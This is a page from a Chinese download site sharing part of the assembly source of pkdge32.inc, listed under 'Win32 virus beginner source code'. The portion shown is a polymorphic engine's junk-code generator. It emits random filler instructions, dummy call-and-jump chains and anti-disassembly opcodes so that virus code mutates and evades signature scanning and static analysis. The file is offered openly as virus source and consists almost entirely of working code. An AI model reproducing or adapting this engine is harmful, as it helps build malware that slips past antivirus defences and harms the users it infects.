⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 pkdge32.inc

📁 Win32病毒入门源码
💻 INC
📖 第 1 页 / 共 3 页
字号:
                and     eax,7                    ; register mask
                xchg    al,ah
                or      eax,3081h
                stosw
                xchg    eax,esi
                pop     esi
                shr     esi,9
                jc      pkdg_gxri_w
                stosd                           ; dword
                ret
pkdg_gxri_w:    stosw                           ; word
                ret


;
; __pkdge32_junk procedure
; ========================
;
;
; Decription
; ----------
;
; This is the junk code generator.  It generatez length-spceified instructionz,
; dummy jumpz and anti-static-debugging opcodez.
;
; This  procedure use EAX as junk  register in order to  generate  instructionz
; like:
;
;               mov     eax,21343ab7h
;               shr     eax,8
; or:
;               push    eax
;               rol     eax,1
;               pop     eax
; etc.
;
; It generatez dummy jumpz such as:
;
;               call    @1
;               junk
;               jmp     @3
; @2:           junk
;               ret
; @1:           junk
;               jmp     @2
; @3:           junk
;
; It also generatez anti-static-debugging opcodez such as:
;
;               jmp     @0
;               db      e9h
; @@:
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- If eax equalz to zero,  the function generatez random length of
;               instructionz,  if  eax is nonzero,  the  function  generatez  a
;               certain length of instruction.
;       esi --- pointz to the RNG seed buffer
;       edi --- pointz to the buffer to save the instructionz
;
; Output:
;       Nothing but junk codez in the buffer that EDI specified
;

__pkdge32_junk: pushad
                xor     ebx,ebx
                xchg    esi,ebp             ; let EBP hold the seed ptr.
                or      eax,eax             ; EAX containz number from 0~7
                jnz      pkdg_js            ; 0~5: gen. 0~5 bytez of junk codez
                mov     edx,7               ; 6: generate dummy jumpz
                mov     eax,ebp
                call    __random            ; ...
pkdg_js:        or      eax,eax             ; 0: nothing to do
                jz      pkdg_j_ret          ; just go back
                xchg    ecx,eax             ; let ECX hold that number
                cmp     ecx,6
                jz      pkdg_j_dj

;
; Generate certain length simpile instructionz
;

pkdg_j_gclsi:   mov     edx,ecx
                mov     eax,ebp
                call    __random
                or      eax,eax
                jz      pkdg_j_g1b
                dec     eax
                jz      pkdg_j_g2b
                dec     eax
                jz      pkdg_j_g3b
                dec     eax
                dec     eax
                jz      pkdg_j_g5b
                jmp     pkdg_j_gclsi

;
; Generate 5-byte instruction
;

pkdg_j_g5b:     call    pkdg_j_5
                db      0b8h                ; mov  eax,imm32
                db      05h                 ; add  eax,imm32
                db      15h                 ; adc  eax,imm32
                db      2dh                 ; sub  eax,imm32
                db      1dh                 ; sbb  eax,imm32
                db      3dh                 ; cmp  eax,imm32
                db      0a9h                ; test eax,imm32
                db      0dh                 ; or   eax,imm32
                db      25h                 ; and  eax,imm32
                db      35h                 ; xor  eax,imm32
pkdg_j_5:       pop     esi
                mov     eax,ebp
                mov     edx,10
                call    __random
                add     esi,eax
                movsb
                mov     eax,ebp
                mov     edx,0fffffffch
                call    __random
                inc     eax
                inc     eax
                stosd
                sub     ecx,5               ; decrease counter
                jz      pkdg_j_rptr
                jmp     pkdg_j_gclsi

;
; Generate 3-byte instruction
;

pkdg_j_g3b:     call    pkdg_j_3
                db      0c1h,0e0h           ; shl eax,imm8
                db      0c1h,0e8h           ; shr eax,imm8
                db      0c1h,0c0h           ; rol eax,imm8
                db      0c1h,0c8h           ; ror eax,imm8
                db      0c1h,0d0h           ; rcl eax,imm8
                db      0c1h,0d8h           ; rcr eax,imm8
                db      0c0h,0e0h           ; shl al,imm8
                db      0c0h,0e8h           ; shr al,imm8
                db      0c0h,0c0h           ; rol al,imm8
                db      0c0h,0c8h           ; ror al,imm8
                db      0c0h,0d0h           ; rcl al,imm8
                db      0c0h,0d8h           ; rcr al,imm8
                db      0ebh,01h            ; anti-static-debugging instr.
pkdg_j_3:       pop     esi
                mov     eax,ebp
                mov     edx,13
                call    __random
                shl     eax,1               ; EAX *= 2
                add     esi,eax
                movsw
                cmp     eax,24
                jge     pkdg_j3_anti
                mov     eax,ebp
                mov     edx,14
                call    __random
                inc     eax
                inc     eax
pkdg_j_3f:      stosb
                sub     ecx,3               ; decrease counter
                jz      pkdg_j_rptr
                jmp     pkdg_j_gclsi
pkdg_j3_anti:   mov     eax,ebp
                mov     edx,10h
                call    __random
                add     al,70h
                jmp     pkdg_j_3f

;
; Generate 2-byte instruction
;

pkdg_j_g2b:     call    pkdg_j_2
                db      89h                 ; mov  eax,reg
                db      01h                 ; add  eax,reg
                db      11h                 ; adc  eax,reg
                db      29h                 ; sub  eax,reg
                db      19h                 ; sbb  eax,reg
                db      39h                 ; cmp  eax,reg
                db      85h                 ; test eax,reg
                db      09h                 ; or   eax,reg
                db      21h                 ; and  eax,reg
                db      31h                 ; xor  eax,reg
                db      0b0h                ; mov  al,imm8
                db      04h                 ; add  al,imm8
                db      14h                 ; adc  al,imm8
                db      2ch                 ; sub  al,imm8
                db      1ch                 ; sbb  al,imm8
                db      3ch                 ; cmp  al,imm8
                db      0a8h                ; test al,imm8
                db      0ch                 ; or   al,imm8
                db      24h                 ; and  al,imm8
                db      34h                 ; xor  al,imm8
pkdg_j_2:       pop     esi
                mov     eax,ebp
                mov     edx,20
                call    __random
                add     esi,eax
                movsb                       ; write the opcode
                cmp     eax,10
                jge     pkdg_j2_imm8
                mov     eax,ebp
                mov     edx,8
                call    __random
                shl     eax,3               ; dest. operand
                or      al,0c0h             ; ...
                jmp     pkdg_j2_f
pkdg_j2_imm8:   mov     eax,ebp
                mov     edx,100h
                call    __random
pkdg_j2_f:      stosb
                dec     ecx                 ; decrease counter
                dec     ecx                 ; ...
                jz      pkdg_j_rptr
                jmp     pkdg_j_gclsi

;
; Generate 1-byte instruction
;

pkdg_j_g1b:     call    pkdg_j_1
                db      90h                 ; nop
                db      0f8h                ; clc
                db      0f9h                ; stc
                db      40h                 ; inc eax
                db      48h                 ; dec eax
                db      37h                 ; aaa
                db      3fh                 ; aas
                db      98h                 ; cbw
                db      0fch                ; cld
                db      0f5h                ; cmc
                db      27h                 ; daa
                db      2fh                 ; das
                db      9fh                 ; lahf
                db      0d6h                ; salc
pkdg_j_1:       pop     esi
                mov     eax,ebp
                mov     edx,14
                call    __random
                add     esi,eax
                movsb                       ; write the code
                dec     ecx                 ; decrease counter
                or      ecx,ecx
                jnz     pkdg_j_gclsi
pkdg_j_rptr:    mov     [esp],edi
pkdg_j_ret:     popad
                ret

;
; Generate  dummy jumpz.  the  generation formula show in the decription of the
; __pkdge32_junk procedure
;

pkdg_j_dj:      mov     al,0e8h             ; call xxxxxxxx
                stosb                       ; ...
                stosd                       ; addr1, no matter what, fix l8r
                push    edi
                mov     eax,ebp             ; some more junx
                mov     edx,6               ; ...
                call    __random            ; ...
                mov     esi,ebp             ; ...
                call    __pkdge32_junk      ; ...
                mov     al,0ebh             ; jmp xx
                stosb                       ; ...
                stosb                       ; addr2, no matter what, fix l8r
                push    edi
                mov     eax,ebp             ; some more junx
                mov     edx,6               ; ...
                call    __random            ; ...
                mov     esi,ebp             ; ...
                call    __pkdge32_junk      ; ...
                mov     al,0c3h             ; ret
                stosb                       ; ...
                mov     eax,[esp+4]         ; fix addr1
                xchg    eax,edi             ; ...
                sub     eax,edi             ; ...
                sub     edi,4               ; ...
                stosd                       ; ...
                add     edi,eax             ; ...
                mov     eax,ebp             ; some more junx
                mov     edx,6               ; ...
                call    __random            ; ...
                mov     esi,ebp             ; ...
                call    __pkdge32_junk      ; ...
                mov     al,0ebh             ; jmp xx
                stosb                       ; ...
                mov     eax,[esp]           ; ...
                sub     eax,edi             ; ...
                dec     eax                 ; ...
                stosb                       ; ...
                pop     eax                 ; fix addr2
                xchg    eax,edi             ; ...
                sub     eax,edi             ; ...
                dec     edi                 ; ...
                stosb                       ; ...
                add     edi,eax             ; ...
                pop     eax                 ; pop a shit
                mov     eax,ebp             ; some more junx
                mov     edx,6               ; ...
                call    __random            ; ...
                mov     esi,ebp             ; ...
                call    __pkdge32_junk      ; ...
                jmp     pkdg_j_rptr

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -